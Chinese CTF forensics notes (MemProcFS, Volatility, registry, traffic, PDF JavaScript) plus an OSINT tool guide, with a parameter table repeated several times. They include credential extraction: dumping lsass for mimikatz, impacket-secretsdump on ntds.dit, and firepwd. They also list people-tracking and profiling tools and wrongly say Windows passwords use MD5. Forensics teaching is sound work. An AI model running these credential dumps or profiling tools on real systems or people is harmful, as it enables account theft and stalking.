-forensic 启动后立即进行内存法医扫描(非实时内存适用)。可选值如下: - 0:禁用(默认) - 1:使用内存中的 sqlite 数据库 - 2:使用临时 sqlite,退出后删除 - 3:使用临时 sqlite,退出后保留 - 4:使用静态数据库(vmm.sqlite3)例:-forensic 4

执行命令

sh
MemProcFS.exe -f 20241029-055419.dmp -forensic 1 -pythonpath "D:\Python-3.12.4"

第一次会要求安装 Dokan,点击它给出的链接安装 Setup 版本,有报错参考下面

此时你的电脑上会多出一个 M 盘

在 M:\sys\sysinfo\sysinfo.txt 中可以找到

查看 bulid 版本号(MemProcFS)

工具使用说明

参数 说明
-device 选择内存获取设备或转储文件。例如:PMEM、FPGA、<内存转储文件路径>。 -f 和 -z 等价于 -device。
-remote 连接到运行 LeechAgent 的远程主机。详见 LeechCore 文档。
-remotefs 连接到远程 LeechAgent 所托管的 MemProcFS。
-v / -vv / -vvv 不同等级的详细输出模式(普通、非常详细、超级详细)。
-version 显示版本信息。
-logfile 指定日志文件路径。
-loglevel 指定日志的详细级别,使用逗号分隔。例:-loglevel 4,f:5,f:VMM:6
-max 指定最大内存地址范围(默认自动检测)。范围:0x0 到 0xffffffffffffffff。
-memmap-str 直接在参数中指定物理内存映射。
-memmap 指定内存映射文件或使用 auto 自动识别。例:-memmap auto 或 -memmap c:\temp\map.txt
-pagefile0..9 指定页面文件或交换文件。例:-pagefile0 pagefile.sys,-pagefile1 swapfile.sys
-pythonexec 启动时在 memprocfs 上下文中执行 Python 脚本。例:-pythonexec C:\Temp\my_script.py
-pythonpath 指定 Python3 安装目录(含 python.dll)。例:-pythonpath "C:\Program Files\Python37"
-disable-python 禁用 Python 插件子系统加载。
-disable-symbolserver 禁用 Microsoft 符号服务器集成。
-disable-symbols 禁用 .pdb 符号文件的查找。
-disable-infodb 禁用 infoDB 以及相关符号查找功能。
-mount 指定挂载驱动器(默认:M 盘)。例:-mount Q
-norefresh 禁止自动缓存/进程刷新(不推荐)。适用于 FPGA/live memory。
-waitinitialize 等待 .pdb 符号系统完全初始化后再挂载文件系统。
-userinteract 允许控制台交互(如选择设备选项)。默认禁用。可与 -forensic 联用。
-vm 启用虚拟机(VM)解析。
-vm-basic 启用仅解析物理内存的虚拟机模式。
-vm-nested 支持嵌套虚拟机解析。
-license-accept-elastic-license-2-0 接受 Elastic License 2.0,用于启用内置 Yara 规则。
-forensic-process-skip 指定不扫描的进程名列表(用逗号分隔)。
-forensic-yara-rules 指定用于法医扫描的 Yara 规则文件(源文件或编译文件)。例:-forensic-yara-rules "C:\Temp\rules.yar"
-forensic 启动后立即进行内存法医扫描(非实时内存适用)。可选值如下: - 0:禁用(默认) - 1:使用内存中的 sqlite 数据库 - 2:使用临时 sqlite,退出后删除 - 3:使用临时 sqlite,退出后保留 - 4:使用静态数据库(vmm.sqlite3)例:-forensic 4

执行命令

sh
MemProcFS.exe -f 20241029-055419.dmp -forensic 1 -pythonpath "D:\Python-3.12.4"

第一次会要求安装 Dokan,点击它给出的链接安装 Setup 版本,有报错参考下面

此时你的电脑上会多出一个 M 盘

在 M:\sys\sysinfo\sysinfo.txt 中可以找到

查看镜像 IP(MemProcFS)

工具使用说明

参数 说明
-device 选择内存获取设备或转储文件。例如:PMEM、FPGA、<内存转储文件路径>。 -f 和 -z 等价于 -device。
-remote 连接到运行 LeechAgent 的远程主机。详见 LeechCore 文档。
-remotefs 连接到远程 LeechAgent 所托管的 MemProcFS。
-v / -vv / -vvv 不同等级的详细输出模式(普通、非常详细、超级详细)。
-version 显示版本信息。
-logfile 指定日志文件路径。
-loglevel 指定日志的详细级别,使用逗号分隔。例:-loglevel 4,f:5,f:VMM:6
-max 指定最大内存地址范围(默认自动检测)。范围:0x0 到 0xffffffffffffffff。
-memmap-str 直接在参数中指定物理内存映射。
-memmap 指定内存映射文件或使用 auto 自动识别。例:-memmap auto 或 -memmap c:\temp\map.txt
-pagefile0..9 指定页面文件或交换文件。例:-pagefile0 pagefile.sys,-pagefile1 swapfile.sys
-pythonexec 启动时在 memprocfs 上下文中执行 Python 脚本。例:-pythonexec C:\Temp\my_script.py
-pythonpath 指定 Python3 安装目录(含 python.dll)。例:-pythonpath "C:\Program Files\Python37"
-disable-python 禁用 Python 插件子系统加载。
-disable-symbolserver 禁用 Microsoft 符号服务器集成。
-disable-symbols 禁用 .pdb 符号文件的查找。
-disable-infodb 禁用 infoDB 以及相关符号查找功能。
-mount 指定挂载驱动器(默认:M 盘)。例:-mount Q
-norefresh 禁止自动缓存/进程刷新(不推荐)。适用于 FPGA/live memory。
-waitinitialize 等待 .pdb 符号系统完全初始化后再挂载文件系统。
-userinteract 允许控制台交互(如选择设备选项)。默认禁用。可与 -forensic 联用。
-vm 启用虚拟机(VM)解析。
-vm-basic 启用仅解析物理内存的虚拟机模式。
-vm-nested 支持嵌套虚拟机解析。
-license-accept-elastic-license-2-0 接受 Elastic License 2.0,用于启用内置 Yara 规则。
-forensic-process-skip 指定不扫描的进程名列表(用逗号分隔)。
-forensic-yara-rules 指定用于法医扫描的 Yara 规则文件(源文件或编译文件)。例:-forensic-yara-rules "C:\Temp\rules.yar"
-forensic 启动后立即进行内存法医扫描(非实时内存适用)。可选值如下: - 0:禁用(默认) - 1:使用内存中的 sqlite 数据库 - 2:使用临时 sqlite,退出后删除 - 3:使用临时 sqlite,退出后保留 - 4:使用静态数据库(vmm.sqlite3)例:-forensic 4

执行命令

sh
MemProcFS.exe -f 20241029-055419.dmp -forensic 1 -pythonpath "D:\Python-3.12.4"

第一次会要求安装 Dokan,点击它给出的链接安装 Setup 版本,有报错参考下面

此时你的电脑上会多出一个 M 盘

在 M:\sys\sysinfo\sysinfo.txt 中可以找到

查看登录的 QQ 号(MemProcFS)

工具使用说明

参数 说明
-device 选择内存获取设备或转储文件。例如:PMEM、FPGA、<内存转储文件路径>。 -f 和 -z 等价于 -device。
-remote 连接到运行 LeechAgent 的远程主机。详见 LeechCore 文档。
-remotefs 连接到远程 LeechAgent 所托管的 MemProcFS。
-v / -vv / -vvv 不同等级的详细输出模式(普通、非常详细、超级详细)。
-version 显示版本信息。
-logfile 指定日志文件路径。
-loglevel 指定日志的详细级别,使用逗号分隔。例:-loglevel 4,f:5,f:VMM:6
-max 指定最大内存地址范围(默认自动检测)。范围:0x0 到 0xffffffffffffffff。
-memmap-str 直接在参数中指定物理内存映射。
-memmap 指定内存映射文件或使用 auto 自动识别。例:-memmap auto 或 -memmap c:\temp\map.txt
-pagefile0..9 指定页面文件或交换文件。例:-pagefile0 pagefile.sys,-pagefile1 swapfile.sys
-pythonexec 启动时在 memprocfs 上下文中执行 Python 脚本。例:-pythonexec C:\Temp\my_script.py
-pythonpath 指定 Python3 安装目录(含 python.dll)。例:-pythonpath "C:\Program Files\Python37"
-disable-python 禁用 Python 插件子系统加载。
-disable-symbolserver 禁用 Microsoft 符号服务器集成。
-disable-symbols 禁用 .pdb 符号文件的查找。
-disable-infodb 禁用 infoDB 以及相关符号查找功能。
-mount 指定挂载驱动器(默认:M 盘)。例:-mount Q
-norefresh 禁止自动缓存/进程刷新(不推荐)。适用于 FPGA/live memory。
-waitinitialize 等待 .pdb 符号系统完全初始化后再挂载文件系统。
-userinteract 允许控制台交互(如选择设备选项)。默认禁用。可与 -forensic 联用。
-vm 启用虚拟机(VM)解析。
-vm-basic 启用仅解析物理内存的虚拟机模式。
-vm-nested 支持嵌套虚拟机解析。
-license-accept-elastic-license-2-0 接受 Elastic License 2.0,用于启用内置 Yara 规则。
-forensic-process-skip 指定不扫描的进程名列表(用逗号分隔)。
-forensic-yara-rules 指定用于法医扫描的 Yara 规则文件(源文件或编译文件)。例:-forensic-yara-rules "C:\Temp\rules.yar"
-forensic 启动后立即进行内存法医扫描(非实时内存适用)。可选值如下: - 0:禁用(默认) - 1:使用内存中的 sqlite 数据库 - 2:使用临时 sqlite,退出后删除 - 3:使用临时 sqlite,退出后保留 - 4:使用静态数据库(vmm.sqlite3)例:-forensic 4

执行命令

sh
MemProcFS.exe -f 20241029-055419.dmp -forensic 1 -pythonpath "D:\Python-3.12.4"

第一次会要求安装 Dokan,点击它给出的链接安装 Setup 版本,有报错参考下面

此时你的电脑上会多出一个 M 盘

登录 QQ 号会在本地创建一个 QQ 号相关的文件夹,可以直接看工具生成的 Forensic 目录下的 cvs 目录

用于 全局分析系统关键组件,例如进程、线程、模块、内存映射等

里面有个 timeline_ntfs.csv,搜索与 QQ,tencent 相关的字符串

查看观看的 bilibili 视频 BV 号(MemProcFS)

工具使用说明

参数 说明
-device 选择内存获取设备或转储文件。例如:PMEM、FPGA、<内存转储文件路径>。 -f 和 -z 等价于 -device。
-remote 连接到运行 LeechAgent 的远程主机。详见 LeechCore 文档。
-remotefs 连接到远程 LeechAgent 所托管的 MemProcFS。
-v / -vv / -vvv 不同等级的详细输出模式(普通、非常详细、超级详细)。
-version 显示版本信息。
-logfile 指定日志文件路径。
-loglevel 指定日志的详细级别,使用逗号分隔。例:-loglevel 4,f:5,f:VMM:6
-max 指定最大内存地址范围(默认自动检测)。范围:0x0 到 0xffffffffffffffff。
-memmap-str 直接在参数中指定物理内存映射。
-memmap 指定内存映射文件或使用 auto 自动识别。例:-memmap auto 或 -memmap c:\temp\map.txt
-pagefile0..9 指定页面文件或交换文件。例:-pagefile0 pagefile.sys,-pagefile1 swapfile.sys
-pythonexec 启动时在 memprocfs 上下文中执行 Python 脚本。例:-pythonexec C:\Temp\my_script.py
-pythonpath 指定 Python3 安装目录(含 python.dll)。例:-pythonpath "C:\Program Files\Python37"
-disable-python 禁用 Python 插件子系统加载。
-disable-symbolserver 禁用 Microsoft 符号服务器集成。
-disable-symbols 禁用 .pdb 符号文件的查找。
-disable-infodb 禁用 infoDB 以及相关符号查找功能。
-mount 指定挂载驱动器(默认:M 盘)。例:-mount Q
-norefresh 禁止自动缓存/进程刷新(不推荐)。适用于 FPGA/live memory。
-waitinitialize 等待 .pdb 符号系统完全初始化后再挂载文件系统。
-userinteract 允许控制台交互(如选择设备选项)。默认禁用。可与 -forensic 联用。
-vm 启用虚拟机(VM)解析。
-vm-basic 启用仅解析物理内存的虚拟机模式。
-vm-nested 支持嵌套虚拟机解析。
-license-accept-elastic-license-2-0 接受 Elastic License 2.0,用于启用内置 Yara 规则。
-forensic-process-skip 指定不扫描的进程名列表(用逗号分隔)。
-forensic-yara-rules 指定用于法医扫描的 Yara 规则文件(源文件或编译文件)。例:-forensic-yara-rules "C:\Temp\rules.yar"
-forensic 启动后立即进行内存法医扫描(非实时内存适用)。可选值如下: - 0:禁用(默认) - 1:使用内存中的 sqlite 数据库 - 2:使用临时 sqlite,退出后删除 - 3:使用临时 sqlite,退出后保留 - 4:使用静态数据库(vmm.sqlite3)例:-forensic 4

执行命令

sh
MemProcFS.exe -f 20241029-055419.dmp -forensic 1 -pythonpath "D:\Python-3.12.4"

第一次会要求安装 Dokan,点击它给出的链接安装 Setup 版本,有报错参考下面

此时你的电脑上会多出一个 M 盘

登录 QQ 号会在本地创建一个 QQ 号相关的文件夹,可以直接看工具生成的 Forensic 目录下的 cvs 目录

用于 全局分析系统关键组件,例如进程、线程、模块、内存映射等

B 站视频一般是在浏览器里,直接去看 timeline_web.csv 即可

查看隐藏恶意文件(MemProcFS)

工具使用说明

参数 说明
-device 选择内存获取设备或转储文件。例如:PMEM、FPGA、<内存转储文件路径>。 -f 和 -z 等价于 -device。
-remote 连接到运行 LeechAgent 的远程主机。详见 LeechCore 文档。
-remotefs 连接到远程 LeechAgent 所托管的 MemProcFS。
-v / -vv / -vvv 不同等级的详细输出模式(普通、非常详细、超级详细)。
-version 显示版本信息。
-logfile 指定日志文件路径。
-loglevel 指定日志的详细级别,使用逗号分隔。例:-loglevel 4,f:5,f:VMM:6
-max 指定最大内存地址范围(默认自动检测)。范围:0x0 到 0xffffffffffffffff。
-memmap-str 直接在参数中指定物理内存映射。
-memmap 指定内存映射文件或使用 auto 自动识别。例:-memmap auto 或 -memmap c:\temp\map.txt
-pagefile0..9 指定页面文件或交换文件。例:-pagefile0 pagefile.sys,-pagefile1 swapfile.sys
-pythonexec 启动时在 memprocfs 上下文中执行 Python 脚本。例:-pythonexec C:\Temp\my_script.py
-pythonpath 指定 Python3 安装目录(含 python.dll)。例:-pythonpath "C:\Program Files\Python37"
-disable-python 禁用 Python 插件子系统加载。
-disable-symbolserver 禁用 Microsoft 符号服务器集成。
-disable-symbols 禁用 .pdb 符号文件的查找。
-disable-infodb 禁用 infoDB 以及相关符号查找功能。
-mount 指定挂载驱动器(默认:M 盘)。例:-mount Q
-norefresh 禁止自动缓存/进程刷新(不推荐)。适用于 FPGA/live memory。
-waitinitialize 等待 .pdb 符号系统完全初始化后再挂载文件系统。
-userinteract 允许控制台交互(如选择设备选项)。默认禁用。可与 -forensic 联用。
-vm 启用虚拟机(VM)解析。
-vm-basic 启用仅解析物理内存的虚拟机模式。
-vm-nested 支持嵌套虚拟机解析。
-license-accept-elastic-license-2-0 接受 Elastic License 2.0,用于启用内置 Yara 规则。
-forensic-process-skip 指定不扫描的进程名列表(用逗号分隔)。
-forensic-yara-rules 指定用于法医扫描的 Yara 规则文件(源文件或编译文件)。例:-forensic-yara-rules "C:\Temp\rules.yar"
-forensic 启动后立即进行内存法医扫描(非实时内存适用)。可选值如下: - 0:禁用(默认) - 1:使用内存中的 sqlite 数据库 - 2:使用临时 sqlite,退出后删除 - 3:使用临时 sqlite,退出后保留 - 4:使用静态数据库(vmm.sqlite3)例:-forensic 4

执行命令

sh
MemProcFS.exe -f 20241029-055419.dmp -forensic 1 -pythonpath "D:\Python-3.12.4"

第一次会要求安装 Dokan,点击它给出的链接安装 Setup 版本,有报错参考下面

此时你的电脑上会多出一个 M 盘

可以直接去看工具生成的 Forensic 目录下的 findevil 目录

用于 自动检测可疑/恶意行为,例如隐藏进程、被注入的线程、挂钩的系统调用等

EvPROC 系列模块(可疑进程检测)

type 值 含义
NO_IMAGE 没有找到映像路径(可能为反取证/已删除)
IMAGE_IN_HEAP 映像加载在堆中(可能为手动映像加载或反沙箱)
IMAGE_IN_UNKNOWN 映像地址异常(不在常规模块/映像区域)
NO_HANDLE_TABLE 缺失句柄表(可能为隐藏进程)
NO_THREAD 没有线程(可能是僵尸/残留进程)
PPID_UNKNOWN 父进程异常或未知(潜在伪装)
FROM_UNKNOWN_IMAGE 起源于未知模块的进程
TOK_PRIVS_HIGH 进程权限异常高(可能为提权)
MANUAL_MAPPING 手动映像加载(通常用于内存注入)

EvTHRD1(线程相关)

type 值 含义
THREAD_REMOTE 是远程线程(远程注入)
THREAD_APC 异步过程调用线程(APC 注入)
THREAD_UNKNOWN_START 起始地址不在任何模块内(可疑线程)
THREAD_HIDDEN 被隐藏的线程(通过 DirectKernelObjectHijack)
THREAD_NO_START_MODULE 无法关联起始模块

EvAPC1(APC 注入行为)

type 值 含义
APC_QUEUE_USER 向用户线程 APC 队列中注入
APC_QUEUE_KERNEL 内核 APC 注入
APC_SUSPICIOUS_DLL 通过 APC 注入载入 DLL
APC_NO_MODULE 注入地址不在合法模块中

EvAV1(反杀毒/钩子检测)

type 值 含义
INLINE_HOOK 检测到内联钩子(如系统调用表)
IAT_HOOK 导入地址表(IAT)钩子
KERNEL_HOOK 内核函数被挂钩(如 SSDT)
SYSENTER_PATCH SYSENTER/SYSCALL 被修改
DEBUGPORT_HOOK DebugPort 被劫持或清空

EvKRNL1(内核级 rootkit 检测)

type 值 含义
DRIVER_HIDDEN 驱动模块未在系统驱动链表中
SSDT_HOOKED SSDT 项被替换(内核钩子)
IRP_HOOKED IRP 函数被修改(驱动层钩子)
DKOM 内核对象直接修改(Direct Kernel Object Manipulation)

PE_INJECT 和 PE_PATCHED 这些标识通常表示该程序可能注入了代码或对原始代 码进行了修改,可能是恶意行为的迹象

同时又没有路径,推测为恶意文件做了隐藏

直接去 cvs 里看 timeline_proccess,csv 进程信息

在 M 盘中路径如下

text
M:\forensic\files\ROOT\Users\h\AppData\Roaming\ToDesk\dev

查看 IE 浏览器记录(Volatility 2)

先确定镜像系统

sh
python2 vol.py -f '/home/kali/内存取证.raw' imageinfo

先看进程发现最开始调用了浏览器

sh
python2 vol.py -f '/home/kali/内存取证.raw' --profile=Win7SP1x64 pstree

直接查看浏览器记录

text
python2 vol.py -f '/home/kali/内存取证.raw' --profile=Win7SP1x64 iehistory

打开三条链接

可以看到还有一个 key.png 文件,去搜索一下

dump 出来

text
python2 vol.py -f '/home/kali/内存取证.raw' --profile=Win7SP1x64 dumpfiles -Q 0x000000003e5e94c0 -D ../

key.png 是文本文件,内容为:

text
我记得我存了一个非常棒的视频,但怎么找不到了,会不会在默认文件夹下

视频的默认文件夹是 Video,尝试搜索一下 Video

dump 出来

前面进程还有给 cmd.exe,去看看执行了什么

sh
python2 vol.py -f '/home/kali/内存取证.raw' --profile=Win7SP1x64 cmdscan

之前 IE 搜索记录里有文件名加前缀的提示,怀疑就是加了 5201314,故 filescan 一下 5201314,得到一个 tips

dumpfiles 出来,是一个加密压缩包,ohhhh 文件内的 Key 也不是密码

还可能存在 Key 的地方,也许会是管理员登录密码,尝试 mimikatz 一下

因为是 raw 文件(完整的 Windows 内存镜像)所以不能直接抓取,得先单独 dump 出 lsass.exe 进程

sh
python2 vol.py -f '/home/kali/内存取证.raw' --profile=Win7SP1x64 memdump -p 500 -D ../

抓取到密码是 MahouShoujoYyds

解密压缩包成功,压缩包内是个 Python 文件

python
import struct
key = 'xxxxxxxxx'
fp = open('!@#$importance', 'rb')
fs = open('!@#$unimportance', 'wb')
data = fp.read()
for i in range(0, len(data)):
    result = struct.pack('B', data[i] ^ ord(*key[i % len(key)]))
    fs.write(result)
fp.close()
fs.close()

正好就是刚开始的 !@#$unimportance 文件的加密方式,缺少一个 key,有 key 即可复原。

根据 key 的位数为 9 位,正好就是 ohhh 文件内的 xzkbyyds!

写一个逆脚本解密一下,得到一个头文件为 GIF89a 的文件,可知是 GIF 图片

python
import struct
key = 'xzkbyyds!'
fp = open('!@#$importance', 'wb')
fs = open('!@#$unimportance', 'rb')
data = fs.read()
for i in range(0, len(data)):
    result = struct.pack('B', data[i] ^ ord(*key[i % len(key)]))
    fp.write(result)
fp.close()
fs.close()

修改 GIF 高度,其中 6 7 字节为宽, 8 9 字节为高

在第 115 帧发现 flag

PowerShell

下载文件有 Base64 编码,先解码

在 VS Code 中替换 ; 为回车美化一下

看到了 PowerShell,-enc 参数后跟着 Base64 编码的字符串,它可以隐藏实际执行的命令,我们需要通过 PowerShell 执行解码后的命令

找到一串 Base64 编码

解码就是 flag

查找提取图片(Volatility 2)

下载文件先用 Foremost 分离

有个 flag 文件,提取需要密码

使用工具查找 jpg 图片

导出图片,通过 16 进制位置 dump 出相关的文件

成功拿到密码

SAM 注册表(RegRipper 3.0、RegistryExplorer)

下载文件没有后缀,放入 WinHex 中发现是 Reg 注册表

使用工具 RegRipper 3.0 解析

题目翻译过来是提示管理员权限,搜索关键字找到 flag

grodno{user_7565}

当然,使用图形化工具 RegistryExplorer 更简单

俄语的 Administrators

ntds.dit 域控文件(Impacket-Secretsdump)

给的是一个 dit 域控文件以及 SYSTEM

ntds.dit文件是域环境中域控上会有的一个文件,这个文件存储着域内所有用户的凭据信息

想要破解 SAM 文件与 ntds.dit 文件都需要拥有一个 SYSTEM 文件

Kali Linux 中下载好工具,impacket-secretsdump

题目让咱提取用户密码

shell
impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL -history

# -history 转储密码历史记录和 LSA 机密 OldVal
# LOCAL 从本地文件提取数据

在结果中快速搜索用户名找到密码

Windows 中的密码都是 MD5 加密,解密即可

远程连接日志溯源

下载文件是一堆 Windows 日志文件,RDP 则是远程桌面协议

Microsoft > Windows > TerminalServices - RemoteConnectionManager,专用于查看远程桌面连接历史记录

Operational 表示操作日志,Admin 表示管理日志

反查 IP 拿到地址

访问资源日志溯源

在以下日志文件中,security.evtx 记录了登录事件、对象访问、进程追踪、特权调用、帐号管理、策略变更事件

打开文件只有一个用户登录,那就是它了

.dmp 错误转储文件(Mimikatz)

只讲重点,导出流量包中的 dmp 文件

GitHub 上下载工具 mimikatz 使用

先载入文件(同一目录下)

获取账户密码

EXE dump(Volatility 2)

先 imageinfo 看看系统版本

再指定系统版本为 --profile==Win2003SP1x86,跟上 cmdscan 查看命令,看到了 DumpIt.exe 中有 FLAG

跟上 pslist 查看进程,所有插件命令系统版本不能掉!!!

进程号为 1992,dump 出相关文件(报错不管)

ForeMost 提出文件

扫码拿到下一步的 Key

流量包取证

攻击 IP 地址

看流量包出现次数最多的 IP

黑客电子邮箱

打开流量包看到 SMTP 直接过滤

不确定邮箱可以追踪 TCP 查看发送的内容

解码发现是钓鱼邮件

锁定黑客邮箱

WebShell

首先确认网站是 PHP 架构

找后门 PHP 文件

Web 漏洞页面

导出 HTTP 中查找可疑文件,发现一个 wh1t3g0d.php

过滤找请求

追踪流来回查看拿到用户名

因为前面请求都是 404,而这个则是 200,推测这个页面存在漏洞

黑客内网扫描次数

给了 log 文件,打开却乱码

file 一下发现是流量包

改后缀打开

只有 ICMP 和 TCP,题目说了是内网那先看 ICMP

只有下面四个地址 Ping 了 192.168.0.99

text
192.168.0.9
192.168.0.1
192.168.0.254
192.168.0.199

按顺序来说第四次就是 192.168.0.199

也就是 flag{155989}

浏览器取证

火狐登录凭证(Firepwd)

使用工具 firepwd 破解 json 文件

文件取证

PDF 取证

题目名:Romulan Business Network(250)

下载文件

用 PDF 编辑器打开发现需要输入密码

使用工具 pdfextract 提出 JS

js
function ___________________a(arg1){

        ozjcYQp = false;
        ozjcYQp = "TS779Q81xBa2g7kP2qABK00";

        if(ozjcYQp)
        {
                HeGJR4 = YcQpjo+cYQpjo+zjocYQp;

        }


}

var ozFjcYQp=this;
var okzFfjcYQp=info;
var YcQpjo=ozFjcYQp.okzFfjcYQp.author;
var cYQpjo=ozFjcYQp.okzFfjcYQp.title;
var zjocYQp=ozFjcYQp.okzFfjcYQp.subject;

尝试 node 直接运行 JS

第 18 行的 var okzFfjcYQp=info; 使用了 info,但 info 并未在当前作用域中定义

使用工具 pdfmetadata 提取元数据

编辑 JS 文件加入 author、titile、subject 三个数据值删掉 info

我们知道使用 JavaScript 方法 app.response 调用提示输入密钥的对话框

因此,我们将通过定义方法直接将其挂钩,原 WP

js
var app = {
    response: function(str) {
        print(str);
        print(arguments.callee.caller.toString());
    }
};

老版本 d8 会直接打印出提示信息,但 node.js 不会

shell
$d8 payload.js Enterthekey for validation function eval(){[nativecode]}

我们设法获取了对 app.response 的调用,因此模拟似乎运行正常

现在我们需要知道传递给 eval 方法的参数是什么,因此我们只需通过重新定义它来挂钩它即可

由于脚本中有很多对 eval 的垃圾调用,我们过滤掉结果

js
// 保存原始 eval 的引用
var _eval = eval;

// 重写 eval 方法
eval = function(str) {
    // 过滤条件:参数是字符串且包含 "app.response"
    if (typeof str === 'string' && str.match(/app\.response/)) {
        // 打印被执行的代码片段
        print("[Hooked eval] Code snippet:\n" + str + "\n" + "-".repeat(50));
    }
    // 继续执行原始 eval(保持原有逻辑)
    return _eval.apply(this, arguments);  // 或 _eval(str)
};

现在得到

shell
$d8 payload.js varkey='tXy'+cYQpjo+'YxK';varanswer=app.response('Enter the key for validation','Hac…………

最后只需要定义

js
var app = {
    response: function() {
        print(key);
    }
};

成功拿到 key

shell
$ d8 payload.js
tXyxj5oWJOch2E0ir5BI05QuClyYTCnHBmzYxK

Linux 取证

查看当前系统发行版信息]

先 SSH 连接

shell
ssh [email protected] -p 31212

然后查看 /etc/issue

/etc/issue 的主要作用是:

  • 在本地终端登录前显示系统欢迎信息
  • 通常包含系统名称、版本号等基本信息
  • 可以用于显示自定义登录提示或警告信息

查看新用户

登录进去查看 /etc/passwd 即可

总结

很多题目都是考了不同或者多方向的知识点,总之,学得越多越好


Hc Misc Osint (`docs/hc-misc/osint.md`)


comments: true


开源情报获取 OSINT

简介

「开源网络情报 Open source intelligence,OSINT」 ,是一种情报搜集手段,从各种公开的信息资源中寻找和获取有价值的情报。

在国内,大家也喜欢称这类题目为 "社工题" ,这类题目通常以 各类标志性建筑,街景,行程信息等内容的 图片 作为题目,选手需要从有限信息中不断检索修补信息差,寻找细节突破点,依次来获得题目要求的信息 —— 拍摄地点,拍摄人的一些身份信息等。

OSINT 题目是比较吃经验和技巧的

图片定位

对于仅给定图片的 OSINT 题目,通常从图片本身和图片内容入手。

图片文件信息

一些图片的EXIF信息中可能含有拍摄的时间,经纬度,角度,设备型号等信息,通过图片 经纬度 + 图片内容 进行误差修正的 OSINT 题目也算是简单题目中的常客。

但是注意,EXIF信息是可以被篡改的,小心被误导哦~

街景

街景的维度很广,笔者在此尽量列举,但不能保证完全包含:

  • 建筑风格 门户朝向

  • 道路风格 道路标识

  • 从是否有地标性或者其他标志性建筑/图案

  • 显眼的店铺名称

  • 各种路牌 指示牌 站台牌

  • 围栏特征 路灯特征 装饰特征

  • 车牌

  • 行人服饰特点

  • 光线方向 采光 反光

  • 植被覆盖率 植被种类 特殊土质分布

  • 其他图片中出现的有意义文字

  • 全景地图辅助 / AI信息检索

    ......

交通要地

如 火车站,地铁站,机场,码头等。

  • 布局
  • 各类提示性文字 指示牌
  • 交题工具是否出镜 —— 外形 具体型号

行程信息

如 各类车票 / 机票 ,已对部分要素打码,但依旧能获取到其他如 时间,机票标识等有效要素的图片。

这里可以通过查询日出日落时间,根据天气情况修复被遮挡的时间或排除可能的干扰项。

特别的,如果图片中出现了护照/签证,说明目标城市可能需要相关证件。

信息检索

除了街景之外,OSINT还有一些相对少见的题目类型。

图标搜索

以这个题目为例:

题目要求搜索GZCTF框架中,Osint方向的ICON图标(就那个放大镜一样的东西)。

不妨去github上看看对应的源码,然后发现:好像存储库里面没有图标文件啊?

再仔细翻翻,我们发现好像GZCTF使用的是React,在这个文件中我们可以注意到:

react
import {
  Alert,
  Anchor,
  BackgroundImage,
  Badge,
  Button,
  Center,
  Container,
  Group,
  Stack,
  Text,
  Title,
  useMantineTheme,
} from '@mantine/core'
import { useScrollIntoView } from '@mantine/hooks'
import { useModals } from '@mantine/modals'
import { showNotification } from '@mantine/notifications'

import { mdiAlertCircle, mdiCheck, mdiFlagOutline, mdiTimerSand } from '@mdi/js'
import { Icon } from '@mdi/react'

import { FC, useEffect, useState } from 'react'
import { Trans, useTranslation } from 'react-i18next'
import { Link, useNavigate, useParams } from 'react-router'
import { GameJoinModal } from '@Components/GameJoinModal'
import { GameProgress } from '@Components/GameProgress'
import { Markdown } from '@Components/MarkdownRenderer'
import { WithNavBar } from '@Components/WithNavbar'
import { useLanguage } from '@Utils/I18n'
import { showErrorMsg } from '@Utils/Shared'
import { useIsMobile } from '@Utils/ThemeOverride'
import { getGameStatus, useGame } from '@Hooks/useGame'
import { usePageTitle } from '@Hooks/usePageTitle'
import { useTeams, useUser } from '@Hooks/useUser'
import api, { GameJoinModel, ParticipationStatus } from '@Api'
import classes from '@Styles/Banner.module.css'

看起来GZCTF使用的是@mdi/react的Icon。

于是在网上我们可以找到这么一个工具:

大概猜测一下图标名称,最后搜索search的时候有了收获:

所以最终的flag为:

text
flag{v1.8.36}

工具

图片搜索

网站名称与网址 描述
谷歌识图 优秀的图片搜索引擎,以搜索效果著称。手机用户可点击浏览器菜单→开启“浏览电脑版网页”以访问上传图片功能。
百度识图 适合中文网站图片资源搜索的工具。
搜狗识图 提供人性化的图片识别功能,包括「通用识图」「猫狗识别」「明星识别」「找高清大图」等选项,根据需求选择提高识别效率。
Yandex.Images 俄罗斯最受欢迎的搜索引擎,支持英文搜索。在其他搜索引擎无法找到结果时,不妨尝试使用Yandex以获取更好的搜索效果。
TinEye 老牌图片逆向搜索引擎,资源丰富。安装浏览器插件后可通过右键菜单直接使用。
必应可视化搜索 由微软必应推出的视觉搜索引擎,支持特色搜索如植物、商品、家具、宠物、文字、人物、建筑等。
What Anime Is This? 动漫视频截图识别工具,专为动漫迷设计。可通过视频截图找到动画图片的来源和片段位置。
SauceNAO Image Search 知名的图片逆向搜索引擎,对动画、漫画、插画、二次元等领域有出色的识图效果。可获取图片来源和作者主页链接。包含数十亿张图像,尤其在Pixiv(pixiv.net)的识别效果出色。

定位辅助

网址 描述
Google Geolocation 谷歌地理定位
移动OneNET平台 智能硬件位置定位
OpenGPS 高精度定位
CellLocation 经纬度、WiFi mac地址、BSSID、gps
Seeker 获取高精度地理信息和设备信息的工具
MAC地址查询工具 MAC地址库查询工具
MaxMind GeoIP geoip2全球IPV4
IPIP IPV4,可查IP归属数据中心。
IPPlus360 IPV4/IPV6地址库。
OpenCellID GSM定位
SunCalc 通过太阳和投射的阴影进行人员地理位置定位

社交媒体

网站名称与网址 描述
lyzem.com Telegram搜索引擎。
Social Mapper 由Trustwave公司SpiderLabs开源的社交媒体枚举和关联工具,通过人脸识别关联人物侧写。
Sniff-Paste 针对Pastebin的开源情报收集工具。
Linkedin2Username 通过Linkedin领英获取相关公司员工列表的工具。
Mailget 通过脉脉用户猜测企业邮箱的工具。
Picdeer Instagram内容和用户在线搜索工具。
Ransombile 用于根据社交媒体密码找回信息的Ruby工具。
Reg007 查找注册过的网站和应用的工具。
Check Your Weibo 微博互关检测脚本的工具。

交题运输

网站名称与网址 描述
Flightradar24 提供全球实时飞行跟踪信息。
Flight ADSB 提供一年内航班轨迹信息。
Variflight Map 提供一年内航班轨迹筛选。
MarineTraffic 提供全球船舶跟踪情报。

小结

CTF中的 OSINT考察 是比较狭义的,虽然多以街景分析定位为主,但里面依旧融合了不少知识。作为比赛题目,重在考察选手的信息收集和整理能力,这也是作为计算机和网络安全领域必不可少的技能。

在现实中,情况往往比题目更加复杂,OSINT 涉及到的信息维度和信息量会远远超出预期,希望读者能够在题目中提升,而不是一味的沉沦。


